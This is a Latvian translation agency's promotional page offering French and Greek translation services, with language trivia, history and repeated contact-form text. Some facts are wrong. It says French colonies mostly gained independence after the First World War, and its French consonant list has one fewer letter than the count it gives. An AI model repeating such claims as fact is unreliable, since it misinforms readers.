uzvārds *Tālrunis Pievienot Noņemt Uzņēmuma nosaukums *Tālrunis Pievienot Noņemt Uzņēmuma nosaukums *Tālrunis Pievienot Noņemt E-pasts *Valodu kombinācija Pievienot Noņemt E-pasts *Valodu kombinācija Pievienot Noņemt Papildu informācijaPievienot dokumentu līdz 20 MB, ja dokumenta izmērs ir lielāks, lūdzam to norādīt ziņā un mēs sazināsimies Click or drag files to this area to upload. You can upload up to 10 files. Kā par mums uzzinājātKā par mums uzzinājātEsmu Skrivanek klientsGoogle meklētājsDrauga/paziņas ieteikumsFacebookTwitterLinkedInInstagramVides reklāmaIzstādeReklāma drukātajos medijosCitsNospiežot pogu "Nosūtīt", jūs piekrītat personas datu apstrādei saskaņā ar Skrivanek Baltic Privātuma politiku. Nosūtīt INTERESANTI FAKTI PAR FRANČU VALODU UN FRANCIJU Franču valoda skan tik izsmalcināti. Šī valoda tiek uzskatīta par vienu no visloģiskākajām, bagātākajām, skanīgākajām un romantiskākajām valodām pasaulē. Tajā skaisti skanēs jebkura frāze – vai tā būtu dzīves gudrība, vai atzīšanās mīlestībā, pat zinātniski termini un paši nekulturālākie vārdi pasaulē. Franču valoda ir ļoti nozīmīga valoda pasaulē – tā ir ceturtā visbiežāk lietotā valoda interneta vidē, trešā visbiežāk lietotā valoda uzņēmējdarbībā, otrā starptautiskās informācijas valoda medijos. Starptautiskā Frankofonijas organizācija lēš, ka līdz 2060. gadam franciski runājošo skaits pasaulē sasniegs aptuveni 767 miljonus. Franču valoda ir gan Apvienoto Nāciju Organizācijas, Eiropas Savienības, UNESCO, NATO, Starptautiskās Olimpiskās komitejas, Starptautiskā Sarkanā Krusta un starptautisko tiesu gan darba, gan oficiālā valoda. TV5MONDE ir galvenais un vienīgais globālais TV kanāls franču valodā, kuram ir piekļuve 198 pasaules valstīs, tostarp Ķīnā, Kubā un Ziemeļkorejā. Burts e ir visbiežāk lietotais burts franču valodā. Franču valoda ir starptautiskā kulinārijas, modes, teātra, vizuālās mākslas, dejas un arhitektūras valoda. Franču valodas zināšanas ļauj piekļūt lieliskiem literatūras darbiem franču oriģinālajā valodā, kā arī filmām un dziesmām. Franču valoda ir Viktora Igo, Moljēra, Edītes Piafas, Žana Pola Sartra, Alēna Delona un Zinedīna Zidāna valoda. Romāns “Nožēlojamie” ir franču rakstnieka Viktora Igo meistardarbs, kas tulkots neskaitāmās valodās. Interesantākais ir fakts, ka šajā romānā ir garākais teikums visā pasaules literatūrā, kas sastāv no 823 vārdiem bez nevienas pieturzīmes, tikai ar punktu teikuma beigās. Franču valodas zināšanas paver iespējas studēt slavenajās Francijas universitātēs un biznesa skolās, kas ir starp labākajām augstākās izglītības iestādēm Eiropā un pasaulē. Francija ir pasaulē populārākais tūristu galamērķis un katru gadu piesaista vairāk nekā 87 miljonus apmeklētāju. Prasme pat nedaudz runāt franču valodā padara Parīzes un visu Francijas reģionu apmeklēšanu daudz patīkamāku, kā arī sniedz ieskatu Francijas kultūrā un dzīvesveidā. Franču valoda noder arī ceļojot uz franciski runājošajām pasaules daļām. Pirmkārt un galvenokārt, franču valodas apguve ir prieks mācīties skaistu, bagātu, melodisku valodu, ko bieži sauc par mīlestības valodu. Franču valoda ir arī analītiska valoda, kas strukturē domu un attīsta domāšanu, kas ir vērtīga prasme diskusijās un sarunās. FRANČU VALODAS ALFABĒTS Jau ar pirmajiem rakstiem, kas datējami ar 9. gadsimtu, franču valodas pierakstam tiek lietots latīņu alfabēts. Tas ticis papildināts un mūsdienās sastāv no 26 burtiem: sešiem patskaņiem (a, e, i, o, u, y) un 20 līdzskaņiem (b, c, d, f, g, h, j, l, m, n, p, q, r, s, t, v, w, x, z). Mūsdienu franču valodas skaņu daudzums pārsniedz latīņu burtu skaitu (26 burti apzīmē 35 skaņas). Vairākiem burtiem var būt sastopamas diakritiskās zīmes, galvenokārt tās lieto mazajiem burtiem. BRAILA RAKSTS Braila raksts ir rakstības metode, kuru izmanto, lai akli cilvēki vai cilvēki ar vāju redzi varētu rakstīt un lasīt. Šo rakstības metodi ieviesa francūzis Luijs Brails 1821. gadā. Brails zaudēja redzi trīs gadu vecumā sadzīviskas traumas rezultātā. Desmit gadu vecumā viņš ieguva iespēju mācīties Parīzes Nacionālajā institūtā neredzīgajiem, kas bija viena no pirmajām šāda tipa mācību iestādēm pasaulē. Parīzes Nacionālā institūtā neredzīgajiem bija jāmācās arī lasīt pēc sistēmas, ko bija izgudrojis tās dibinātājs Valentīns Aī (Valentin Haüy). Tajā laikā lasīšanai tika izmantots izlocīts vara vads, kas bija ielīmēts starp divām papīra lapām. Šai sistēmai bija vairāki trūkumi. Pirmkārt, skolēni nevarēja apgūt rakstīšanu, otrkārt, lai ietaupītu naudu, vienā grāmatā tika publicēti daudzi dažāda tipa darbi. Grāmatas bija ļoti biezas un smagas, to svars varēja sasniegt pat vairākus desmitus kilogramu. Braila apmeklētajā mācību iestādē bija tikai trīs šādas grāmatas. 1821. gadā bijušais Francijas armijas kapteinis Šarls Barbjē (Charles Barbier) apmeklēja Parīzes Nacionālo institūtu neredzīgajiem. Savulaik Napoleons bija pieprasījis izgudrot rakstības sistēmu, ar kuras palīdzību karavīri varētu sazināties nakts laikā, pilnīgā tumsā, neiededzot gaismu un nesarunājoties savā starpā. Barbjē šim nolūkam izgudroja "nakts rakstu", kur burtus attēloja papīrā caurdurot divpadsmit punktus dažādās kombinācijās. Ieradies Parīzes Nacionālajā institūtā, Barbjē iepazīstināja studentus ar "nakts rakstu". Tajā pašā gadā Brails uzsāka pats sava raksta izveidošanu pēc "nakts raksta" parauga, kuru pabeidza 1824. gadā, kad viņam bija vēl tikai piecpadsmit gadi. Galvenā atšķirība bija tajā, ka viņš divpadsmit punktu vietā ieviesa sešus, kurus sadalīja trīs rindās, pa diviem punktiem katrā. Šādā veidā burtu varēja izlasīt ar vienu pirksta pieskārienu, kas ļāva ātrāk nolasīt visu tekstu. Arī apgūt šo rakstu bija vienkāršāk. Būtiska priekšrocība attiecībā pret Aī izgudroto rakstības sistēmu bija tajā, ka Braila raksts ļāva ne tikai iemācīties lasīt, bet arī rakstīt. Vēlāk Brails uz savas rakstības metodes pamata izveidoja arī pierakstu matemātikai un mūzikas notīm. Pirmā grāmata Braila rakstā iznāca 1829. gadā. Pēc desmit gadiem iznāca arī grāmata, kas bija veltīta Braila raksta metodikai un pielietošanai. Viņš bija atzīts skolotājs starp saviem skolēniem Parīzes Nacionālajā institūtā neredzīgajiem. Divus gadus pēc viņa nāves Braila raksts tika oficiāli atzīts Francijā. 1878. gadā Braila raksts tika atzīts par starptautisko neredzīgo rakstu. CIK SAREŽĢĪTA IR FRANČU VALODA? Mūsdienās franču valoda ir otrā visvairāk apgūtā valoda pasaulē − ap 125 miljoniem cilvēku visā pasaulē apgūst to dažādās mācību iestādēs. Tā ir viena no retajām valodām, ko māca katras valsts kādā no izglītības iestādēm. Ārpus Francijas robežām dzīvo aptuveni 500 tūkstoši franču valodas pasniedzēju. Nesenā pētījumā, ko veica tiešsaistes valodu apguves platforma Duolingo, atklājās, ka franču valoda ir otrā visbiežāk apgūtā valoda šajā vietnē. Franču valoda ir viena no desmit valodām, ko Ārlietu dienesta institūts ir novērtējis kā viegli apgūstamu valodu. Lielākajai daļai studentu tās apguve aizņemtu aptuveni 23−24 nedēļas, jeb 600 mācību stundas. KUR UN CIK DAUDZ RUNĀ FRANČU VALODĀ? Franču valoda par starptautisku valodu kļuva jau viduslaikos, pateicoties Francijas karalistes lielajai ietekmei pasaulē. No 17. gadsimta tā aizstāja latīņu valodu kā izglītotās Eiropas lingua franca, 18. gadsimtā tā kļuva par galveno diplomātijas un inteliģences valodu Eiropā. Lielākā daļa franču valodā runājošo valstu sākotnēji bija franču kolonijas. Franču koloniālisms 19. un 17. gadsimtā izplatīja franču valodu daudzos pasaules reģionos. Vairāku karu rezultātā 18. gadsimta beigās un 19. gadsimta sākumā Francija zaudēja kontroli pār lielāko daļu savām kolonijām. Otrā Francijas koloniālā impērija izveidojās 19. gadsimta beigās, Francija ieguva kontroli pār vairākām valstīm Ziemeļāfrikā, kā arī Senegālu, Kotdivuāru un Mali. Pēc Pirmā pasaules kara lielākā daļa Francijas koloniju atguva savu neatkarību, bet franču valodu tās izmanto kā savu galveno valsts valodu līdz pat mūsdienām. Franču valodā runā 29 Frankofonijas valstīs Eiropā, Āfrikā, Kanādā, ASV, un Āzijā. Tā ir starptautiskās valstu kopienas Frankofonijas oficiālā valoda. Frankofonijā ir apvienojušās tās pasaules valstis, kurās franču valoda ir valsts valoda vai tajā runā nozīmīga daļa valsts iedzīvotāju, vai arī franču valoda un kultūra ir atstājusi ievērojamu kultūrvēsturisko mantojumu. Šajā kopienā darbojas 88 valstis un teritorijas 5 kontinentos. Franču valoda ir dzimtā valoda aptuveni 80 miljoniem iedzīvotāju, bet visā pasaulē franču valodā runā ap 300 miljoniem iedzīvotāju. Tā ir oficiālā valoda Francijā, Beļģijā, Šveicē, Monako, Luksemburgā, Kanādā, Haiti, Vanuatu, un vēl 21 Āfrikas valstī. Vislielākais skaits franču valodā runājošo dzīvo Āfrikā − aptuveni 115 miljoni cilvēku. Vislielākās franču valodā runājošo diasporas ir Alžīrijā, Argentīnā, Austrālijā, Čīlē, Jaunzēlandē, Kanādā, Marokā, Meksikā, Tunisijā un Urugvajā. Bijušajās Francijas koloniālās impērijas valstīs pēc to neatkarības iegūšanas franču valoda bieži tiek lietota arī kā kompromiss starp vietējām valodām. FRANČU VALODAS TULKS UN TULKOTĀJS Skrivanek Baltic franču valodas tulku un tulkotāju komanda strādā gan ar tipveida dokumentu rakstiskajiem tulkojumiem, gan Eiropas Savienības institūciju un pasaules lielāko nevalstisko organizāciju dokumentācijas tulkojumiem, sarežģītiem medicīniskajiem un tehniskajiem tulkojumiem, gan arī notariāli apliecinātiem tulkojumiem. Tulkošanas birojs Skrivanek Baltic nodrošina arī tekstu franču valodā korektūru un stilistisko uzlabošanu un SEO satura rakstīšanu, pielāgojot to Francijas tirgum vai kolorītajam Kanādas Kvebekas reģionam un franču mentalitātei. Mūsu valodas speciālisti būs priecīgi pastāstīt par kultūras atšķirībām, lietišķo etiķeti, vēsturi un tradīcijām. Biznesa klientiem visbiežāk veicam šādus tulkojumus no un uz franču valodu – mājaslapu un e-komercijas satura tulkojumus, digitālā mārketinga satura un meta tagu aprakstu adaptāciju un pielāgošanu, sadarbības līgumu, tiesību aktu, tiesu nolēmumu un uzņēmējdarbības dokumentācijas tulkošanu. Veicam arī secīgo tulkošanu lietišķās vai cita veida sarunās, augsta līmeņa starpvalstu konferencēs un citos pasākumos, tiešsaistē Zoom vidē un citās tiešsaistes platformās. Fiziskām personām veicam personu apliecinošo dokumentu, laulību apliecību, bērnu dzimšanas apliecību, izglītības dokumentu, pases, medicīnisko dokumentu u. c. tulkojumus. FRANČU VALODA BIZNESĀ Franču valodā runā vismaz 300 miljoni cilvēku visā pasaulē, tā ir trešā populārākā valoda, ko izmanto uzņēmējdarbības jomā. Ņemot vērā demogrāfisko un ekonomisko izaugsmi franciski runājošajos apgabalos, galvenokārt Āfrikā, tuvākajos gados šie rādītāji noteikti pieaugs. Franču valodas prasme nodrošina būtisku piekļuvi franciski runājošo klientu lokam. Franču valodas apguve ir lieliski piemērota diplomātijai, darbam starptautiskās organizācijās vai banku un finanšu sektorā. Tā ir ļoti svarīga valoda, ja ir vēlme attīstīt uzņēmējdarbību Āfrikas un Ziemeļāfrikas teritorijās. Biznesa franču valodas apguve var sniegt konkurentspējīgas priekšrocības ikvienam uzņēmējam. Francijā ir uzņēmējdarbībai labvēlīgā vide, izsmalcinātais finanšu tirgus un augsti izglītots darbaspēks padara to par pievilcīgu vietu uzņēmējdarbībai. Francija ir arī viena no visvairāk apmeklētajām valstīm pasaulē, un tās kultūras ietekme ir plaši atzīta. Francija ir uzņēmējdarbībai draudzīga valsts ar vienu no lielākajiem tirgiem Eiropā un piekļuvi Eiropas vienotajam tirgum. Tās galvaspilsēta Parīze ir nozīmīgs finanšu centrs Eiropā. Lai gan lielākajā daļā Eiropas Savienības valstu angļu valoda tiek uzskatīta par galveno valodu, ko lieto uzņēmējdarbībā, Francijā no ārvalstu uzņēmējiem tiek sagaidīts, ka viņiem ir kaut viselementārākās franču valodas zināšanas. Lai gan nav obligāti jārunā franču valodā, atteikšanās tajā kaut sasveicināties var tikt uzskatīts par nepieklājīgu žestu. LATVIJAS UN FRANCIJAS DIVPUSĒJĀS ATTIECĪBAS Latvijas un Francijas diplomātisko attiecību vēsture sniedzas 100 gadu tālā pagātnē. Pateicoties tieši Francijas prezidenta Aleksandra Millerāna atbalstam, 1921. gadā jaunā Latvijas valsts tika atzīta de iure. Francija arī nekad nav atzinusi Latvijas aneksiju PSRS sastāvā. Latvijas un Francijas diplomātiskās attiecības tika atjaunotas 1991. gadā. Francijas prezidents Fransuā Miterāns bija pirmais rietumvalstu līderis, kurš apmeklēja atkal neatkarību atguvušo Latviju 1992. gadā. Arī mūsdienās abu valstu sadarbība sekmīgi attīstās gan divpusēji, gan Eiropas Savienības un NATO ietvaros. Abas valstis arī parakstījušas rīcības plānu 2018. − 2022. gadam, kas nosaka konkrētu rīcību abu valstu sadarbības attīstīšanai. 1997. gadā abu valstu valdības noslēdza kultūras, izglītības, zinātnes un tehnoloģijas sadarbības līgumu. Sadarbība starp abām valstīm izveidojusies teju visās kultūras jomās. Būtiska loma kultūras sakaru veicināšanā un nostiprināšanā ir Francijas Institūtam Latvijā. Par tradīciju kļuvušas arī Rīgā un citviet Latvijā notiekošās Frankofonijas dienas. Tāpat laba sadarbība izveidojusies izglītības jomā. Rīgā darbojas Žila Verna Rīgas Franču skola. Tāpat Francijas valdība katru gadu piešķir Latvijas studentiem stipendijas, bet franču valodu Latvijā apgūst vairāki tūkstoši skolēnu. Francija tiek uzskatīta par nozīmīgu Latvijas ekonomiskās sadarbības partnervalsti. Francijā darbojas arī Latvijas Investīciju un attīstības aģentūras pārstāvniecība. Starp abām valstīm pastāv arī laba sadarbība aizsardzības jomā. Tieši Francija ir viena no pirmajām valstīm, ar kuru Aizsardzības ministrija uzsāka sadarbību. Tāpat Francija jau sešas reizes veikusi NATO Gaisa telpas patrulēšanas misiju Baltijas valstīs. RISINĀJUMI, KURUS VISBIEŽĀK NODROŠINĀM FRANČU VALODĀ: dažādu dokumentu tulkošana franču valodā; steidzami rakstiskie tulkojumi; notariāli apliecināts tulkojums; mājaslapu tulkošana; franču valodas tekstu korektūra; tekstu adaptācija un radošo tekstu sagatavošana; DTP – grafiskā dizaina pakalpojumi; mutiskie tulkojumi franču valodā; individuālie franču valodas kursi; franču valodas kursi grupā. FRANČU VALODAS KOMBINĀCIJAS: franču–latviešu; latviešu–franču; franču–lietuviešu; lietuviešu–franču; igauņu–franču; franču–igauņu; angļu–franču; franču–angļu; krievu–franču; franču–krievu; poļu–franču; franču–poļu; ukraiņu–franču; franču–ukraiņu; čehu–franču; franču–čehu; vācu–franču; franču–vācu; spāņu–franču; franču–spāņu; itāļu–franču; franču–itāļu; dāņu–franču; franču–dāņu; zviedru–franču; franču–zviedru; norvēģu–franču; franču–norvēģu; somu–franču; franču–somu; franču–arābu; arābu–franču; franču–armēņu, armēņu–franču; franču–baltkrievu, baltkrievu–franču; bulgāru–franču, franču–bulgāru; franču–ebreju, ebreju–franču, franču–grieķu, grieķu–franču; franču–gruzīnu; gruzīnu–franču; franču–hindi; hindi–franču; franču–holandiešu; holandiešu–franču; franču–korejiešu; korejiešu–franču; franču–kurdu; kurdu–franču; franču–ķīniešu; ķīniešu–franču; franču–portugāļu; portugāļu–franču; franču–rumāņu; rumāņu–franču; franču–slovāku; slovāku–franču; franču–slovēņu; slovēņu–franču; franču–turku; turku–franču; franču–ungāru; ungāru–franču u. c. FRANČU VALODAS DIENA Franču valodas diena tiek atzīmēta 20. martā. Šis pasākums ir paredzēts, lai stāstītu par franču valodas izplatību un franču kultūras daudzveidību. Kad lielākā daļa cilvēku domā par franču valodu, viņi domā par Franciju, taču patiesībā Āfrikā ir visvairāk franču valodas runātāju. Tiek lēsts, ka 120 miljoni afrikāņu no 29 valstīm runā šajā valodā kopā ar savām pamatiedzīvotāju valodām. FRANČU VALODAS IZCELSME Franču valoda ir cēlusies no Romas impērijas vulgārās latīņu valodas. Francija tajā laikā bija pazīstama kā Gallija, un romieši to iekaroja 1. un 2. gadsimtā pirms mūsu ēras. Tajā laikā Gallijā runāja gallu valodā, kas ir cēlusies no ķeltu valodas, bet tad tā tika aizstāta ar latīņu valodu. Toties 5. gadsimtā ģermāņu ciltis iebruka Gallijā, kā rezultātā mūsdienu franču valodai ir ķeltu, ģermāņu, bet galvenokārt latīņu valodas ietekme. Septiņpadsmitais gadsimts iezīmēja franču valodas moderno periodu, un 1635. gadā kardināls Rišeljē nodibināja Francijas akadēmiju. Tās mērķis bija saglabāt franču valodas un tās literatūras svētumu. Valoda laika gaitā attīstījās ar tādām mākslas kustībām kā romantisms un reālisms, taču kopumā tā ir palikusi uzticīga šim periodam. 2010. gadā Apvienoto Nāciju Organizācijas Sabiedrības informācijas departaments oficiāli pasludināja 20. martu par Franču valodas dienu, lai atzīmētu pasaules daudzvalodību un kultūras daudzveidību. Diena tiek izmantota arī, lai veicinātu visu sešu oficiālo valodu, kas ir arābu, ķīniešu, angļu, franču, krievu un spāņu, vienlīdzīgu lietošanu visā Apvienoto Nāciju Organizācijā. 20. marts ir arī atzīts par Starptautisko Frankofonijas dienu, kas atzīmē Kultūras un tehniskās sadarbības aģentūras gadadienu, kas sākās 1970. gada 20. martā. STARPTAUTISKĀ FRANKOFONIJAS DIENA Starptautiskā Frankofonijas diena, kas tiek atzīmēta 20. martā, un Franču valodas un Frankofonijas nedēļas norises no 17. līdz 25. martam katru gadu sniedz iespēju franciski runājošajiem visā pasaulē svinēt franču valodu visā tās daudzveidībā. Nedēļas laikā notiek vairāk nekā 1500 pasākumu, kuros piedalās aptuveni 70 valstis visā pasaulē. Katru gadu Franču valodas un Frankofonijas nedēļai tie izvēlēta kāda tēma. Pasākumus rīko grāmatnīcas, desmitiem biedrību, bibliotēkas, skolas, augstskolas, muzeji, teātri, kā arī slimnīcas. Franču valoda, otrā visvairāk apgūtā valoda pasaulē ar aptuveni 125 miljoniem studentu un 900 000 franču valodas skolotāju ārzemēs, ir otrā svarīgākā starptautisko ziņu valoda, trešā vissvarīgākā valoda biznesa pasaulē un ceturtā izplatītākā valoda internetā. Tā ir ļoti svarīga darba valoda visās starptautiskajās organizācijās. Tā ir piektā visvairāk runātā valoda uz planētas, franču valoda kopā ar angļu valodu ir vienīgās valodas, kurās runā visos piecos kontinentos. --- > Dažādu dokumentu tulkojumi, mutiskie tulkojumi un citi risinājumi grieķu valodā. Saņemiet bezmaksas cenas aprēķinu! - Published: 2017-09-29 - Modified: 2025-07-21 - URL: https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-grieku-valoda/ - Translation Priorities: Optional TULKOJUMI GRIEĶU VALODĀ / TULKOT GRIEĶU VALODĀ CIK MAKSĀ TULKOŠANA GRIEĶU VALODĀ? Tulkojumu cena no un uz grieķu valodu tiek aprēķināta katram pasūtījumam individuāli. Cenas aprēķinā vērā tiek ņemti dažādi tieši jūsu pasūtījumam raksturīgi parametri, piemēram, secīgo mutisko un sinhrono tulkojumu cenu veido pakalpojuma sniegšanas laiks, pasākuma norises vieta, ceļošanas izdevumi, dienas nauda, sinhronajā tulkošanā papildus tiek rēķināti izdevumi par tehnisko nodrošinājumu atkarībā no pasākuma dalībnieku skaita utt. Rakstisko tulkojumu cenu veido tulkojamā materiāla apjoms un lasāmība, tulkojuma izpildes termiņi, terminoloģijas sarežģītība, atkārtojumi tekstā, attēlu un grafiku sarežģītība un formatēšana, koriģēšana, kā arī citi klienta papildus izvēlētie pakalpojumi. VAI IR PIEEJAMS TULKOJUMU CENRĀDIS? Protams, gan rakstisko, gan mutisko (sinhrono un secīgo) tulkojumu, lokalizācijas un adaptācijas pakalpojumu cenrādis no/uz grieķu valodu ir neatņemama mūsu sadarbības līguma ar klientiem daļa. Katru reizi Skrivanek Baltic tulkošanas projektu vadītāji sagatavo sīku informāciju par tulkojuma cenu pirms katra tulkošanas projekta uzsākšanas. Cenas piedāvājums tiek sagatavots 30 minūšu laikā. Rakstiskajiem darbiem, nosakot cenu, tiek ņemts vērā vārdu skaits avota tekstā, atkārtojumi tajā, grafisko elementu sarežģītība un citi parametri. Lai jūs saņemtu cenas piedāvājumu, gaidīsim tulkojamo materiālu e-pastā. RISINĀJUMI, KURUS VISBIEŽĀK NODROŠINĀM GRIEĶU VALODĀ: dažādu dokumentu tulkošana grieķu valodā; steidzami rakstiskie tulkojumi; notariāli apliecināts tulkojums; mājaslapu tulkošana; grieķu valodas tekstu korektūra; tekstu adaptācija un radošo tekstu sagatavošana; DTP – grafiskā dizaina pakalpojumi; mutiskie tulkojumi grieķu valodā; individuālie grieķu valodas kursi. Kvalitātes un konfidencialitātes garantija, ko apstiprina ISO sertifikātiMūsu projektu vadītāji runā latviešu, krievu, angļu, vācu un poļu valodā99% klientu saņem cenas piedāvājumu mazāk nekā 15 minūtēsVairāk nekā 3000 valodas speciālistu un dzimtās valodas runātājuVairāk nekā 98% klientu mūs labprāt ieteiktu saviem draugiem un partneriemMūsu birojā katru gadu tiek iztulkoti vairāk nekā 16 miljoni vārdu Meklējiet valodu risinājumus grieķu valodā? Sazinieties ar mums! Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Pasūtītājs *PrivātpersonaUzņēmums Vārds un uzvārds *Tālrunis Pievienot Noņemt Vārds un uzvārds *Tālrunis Pievienot Noņemt Uzņēmuma nosaukums *Tālrunis Pievienot Noņemt Uzņēmuma nosaukums *Tālrunis Pievienot Noņemt E-pasts *Valodu kombinācija Pievienot Noņemt E-pasts *Valodu kombinācija Pievienot Noņemt Papildu informācijaPievienot dokumentu līdz 20 MB, ja dokumenta izmērs ir lielāks, lūdzam to norādīt ziņā un mēs sazināsimies Click or drag files to this area to upload. You can upload up to 10 files. Kā par mums uzzinājātKā par mums uzzinājātEsmu Skrivanek klientsGoogle meklētājsDrauga/paziņas ieteikumsFacebookTwitterLinkedInInstagramVides reklāmaIzstādeReklāma drukātajos medijosCitsNospiežot pogu "Nosūtīt", jūs piekrītat personas datu apstrādei saskaņā ar Skrivanek Baltic Privātuma politiku. Nosūtīt TULKOJUMI GRIEĶU VALODĀ / TULKOT GRIEĶU VALODĀ CIK MAKSĀ TULKOŠANA GRIEĶU VALODĀ? Tulkojumu cena no un uz grieķu valodu tiek aprēķināta katram pasūtījumam individuāli. Cenas aprēķinā vērā tiek ņemti dažādi tieši jūsu pasūtījumam raksturīgi parametri, piemēram, secīgo mutisko un sinhrono tulkojumu cenu veido pakalpojuma sniegšanas laiks, pasākuma norises vieta, ceļošanas izdevumi, dienas nauda, sinhronajā tulkošanā papildus tiek rēķināti izdevumi par tehnisko nodrošinājumu atkarībā no pasākuma dalībnieku skaita utt. Rakstisko tulkojumu cenu veido tulkojamā materiāla apjoms un lasāmība, tulkojuma izpildes termiņi, terminoloģijas sarežģītība, atkārtojumi tekstā, attēlu un grafiku sarežģītība un formatēšana, koriģēšana, kā arī citi klienta papildus izvēlētie pakalpojumi. VAI IR PIEEJAMS TULKOJUMU CENRĀDIS? Protams, gan rakstisko, gan mutisko (sinhrono un secīgo) tulkojumu, lokalizācijas un adaptācijas pakalpojumu cenrādis no/uz grieķu valodu ir neatņemama mūsu sadarbības līguma ar klientiem daļa. Katru reizi Skrivanek Baltic tulkošanas projektu vadītāji sagatavo sīku informāciju par tulkojuma cenu pirms katra tulkošanas projekta uzsākšanas. Cenas piedāvājums tiek sagatavots 30 minūšu laikā. Rakstiskajiem darbiem, nosakot cenu, tiek ņemts vērā vārdu skaits avota tekstā, atkārtojumi tajā, grafisko elementu sarežģītība un citi parametri. Lai jūs saņemtu cenas piedāvājumu, gaidīsim tulkojamo materiālu e-pastā. RISINĀJUMI, KURUS VISBIEŽĀK NODROŠINĀM GRIEĶU VALODĀ: dažādu dokumentu tulkošana grieķu valodā; steidzami rakstiskie tulkojumi; notariāli apliecināts tulkojums; mājaslapu tulkošana; grieķu valodas tekstu korektūra; tekstu adaptācija un radošo tekstu sagatavošana; DTP – grafiskā dizaina pakalpojumi; mutiskie tulkojumi grieķu valodā; individuālie grieķu valodas kursi. Meklējiet valodu risinājumus grieķu valodā? Sazinieties ar mums! Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Pasūtītājs *PrivātpersonaUzņēmums Vārds un uzvārds *Tālrunis Pievienot Noņemt Vārds un uzvārds *Tālrunis Pievienot Noņemt Uzņēmuma nosaukums *Tālrunis Pievienot Noņemt Uzņēmuma nosaukums *Tālrunis Pievienot Noņemt E-pasts *Valodu kombinācija Pievienot Noņemt E-pasts *Valodu kombinācija Pievienot Noņemt Papildu informācijaPievienot dokumentu līdz 20 MB, ja dokumenta izmērs ir lielāks, lūdzam to norādīt ziņā un mēs sazināsimies Click or drag files to this area to upload. You can upload up to 10 files. Kā par mums uzzinājātKā par mums uzzinājātEsmu Skrivanek klientsGoogle meklētājsDrauga/paziņas ieteikumsFacebookTwitterLinkedInInstagramVides reklāmaIzstādeReklāma drukātajos medijosCitsNospiežot pogu "Nosūtīt", jūs piekrītat personas datu apstrādei saskaņā ar Skrivanek Baltic Privātuma politiku. Nosūtīt INTERESANTI FAKTI PAR GRIEĶU VALODU UN GRIEĶIJU Grieķija ir izveidojusi dažas no ietekmīgākajām personībām cilvēces vēsturē, tostarp filozofus, piemēram, Platonu un Sokrātu, zinātniekus, piemēram, Aristoteli un Hipokrātu, un vadoņus, piemēram, Aleksandru Lielo. Bet pat ja jūs esat grieķu vēstures cienītājs, cik daudz jūs zināt par grieķu valodu? Vai zinājāt, ka tā bija pirmā valoda, kas alfabētā izmantoja patskaņus? Vai arī to, ka grieķu jautājuma zīme ir semikols? Vecākie grieķu valodas pieminekļi ir Homēra eposi “Iliāda” un “Odiseja” un tā sauktās Homēra himnas no 8. gadsimta p. m. ē. Grieķu valoda ir ietekmējusi arī valodas, matemātiku, astronomiju un filozofiju. Daudzi ar šīm zinātnēm saistītie vārdi un simboli ir grieķu izcelsmes. Grieķu valoda kopā ar latīņu valodu joprojām tiek izmantota jaunu vārdu radīšanai angļu un citās valodās. Garākais vārds, kas jebkad parādījies literatūrā, ir atrodams grieķu dramaturga Aristofana lugā Assemblywoman, kas uzrakstīta 391. gadā p. m. ē. Tajā ir 171 burtu garš vārds, un tas apzīmē izdomātu ēdienu, kas sastāv no vairākiem dažādiem gaļas veidiem – λοπαδοτεμαχοσελαχογαλεοκρανιολειψανοδριμυποτριμματοσιλφιοκαραβομελιτοκατακεχυμενοκιχλεπικοσ-συφοφαττοπερι. Apmēram 12% angļu valodas vārdu cēlušies no grieķu valodas. Grieķu valoda ļoti ietekmēja angļu valodu, un tāpēc daudzi tehniskie un zinātniskie termini ir cēlušies no grieķu valodas. Piemēram, matemātika, astronomija un bioloģija ir grieķu izcelsmes vārdi. Turklāt gandrīz katrs angļu vārds, kas sākas ar ph (piemēram, filozofija, fotogrāfija, fobija, parādība), nāk no grieķu valodas. Grieķu valodas pierakstā jautājuma zīme ir semikols ( ;), un to izmanto jautājumu beigās. Sengrieķu valoda, tāpat kā mūsdienu ebreju un arābu valoda, tika rakstīta no labās uz kreiso pusi. Pēc tam tas piedzīvoja boustrofedona periodu, kas nozīmē, ka vārdu rakstība mainījās no labās uz kreiso un no kreisās uz labo pusi. Mūsdienās grieķu valoda tiek rakstīta tikai no kreisās uz labo pusi. ASV ir lielākais etnisko grieķu iedzīvotāju skaits ārpus Grieķijas. Mūsdienās ASV dzīvo no 1,3 miljoniem līdz 3 miljoniem grieķu izcelsmes iedzīvotāju. Aptuveni 135 500 ir dzimuši Grieķijā. Grieķu valoda ir viena no 15 populārākajām valodām šādos ASV štatos: Konektikuta, Ilinoisa, Masačūsetsa, Ņūhempšīra, Ņujorka. Kopš 2017. gada 9. februāris tika oficiāli pasludināts par Starptautisko grieķu valodas dienu. Starptautiskās grieķu valodas dienas svinēšanas galvenais mērķis ir atzīmēt grieķu valodas būtisko lomu Rietumu civilizācijas veidošanā gadsimtu gaitā. 9. februāris tika izvēlēts, jo tā ir oficiālā 1857. gada 9. februārī mirušā Dionīsija Solomas piemiņas diena. Dionīsijs Solomos bija grieķu nacionālais dzejnieks, Grieķijas valsts himnas “Himna Brīvībai” (Ύμνος εις ϕηεευαν) autors. GRIEĶU VALODAS ALFABĒTS Grieķu alfabēts sastāv no 24 burtiem un tiek lietots grieķu valodas pierakstīšanai kopš 8. gadsimta p. m. ē. Tas radies uz feniķiešu alfabēta pamata, taču, atšķirībā no feniķiešu alfabēta, grieķu alfabētā ar burtiem tika apzīmēti ne tikai līdzskaņi, bet arī patskaņi. Grieķu alfabēta burti tika lietoti arī skaitļu apzīmēšanai. Mūsdienās grieķu alfabēta burti tiek plaši izmantoti dažādu fizikālu lielumu apzīmēšanai zinātnē. No grieķu alfabēta izveidojušies latīņu alfabēts, kirilica un vairāki citi alfabēti. Grieķu valodas alfabēts, kurā ir 24 burti (Αα, Ββ, Γγ, Δδ, Εε, Ζζ, Ηη, Θθ, Ιι, Κκ, Λλ, Μμ, Νν, Ξξ, Οο, Ππ, Ρρ, Σσς, Ττ, Υυ, Φφ, Χχ, Ψψ, Ωω) ir piedzīvojis salīdzinoši nelielas izmaiņas līdz mūsdienām. Pamatā tās ir saistītas ar burtu skaitu vai rakstību. Vairāk par grieķu alfabētu lasiet šeit. CIK SAREŽĢĪTA IR GRIEĶU VALODA? Jebkura jaunas valodas apguve var būt gan izaicinājums, gan šaubas. Runājot par tādu 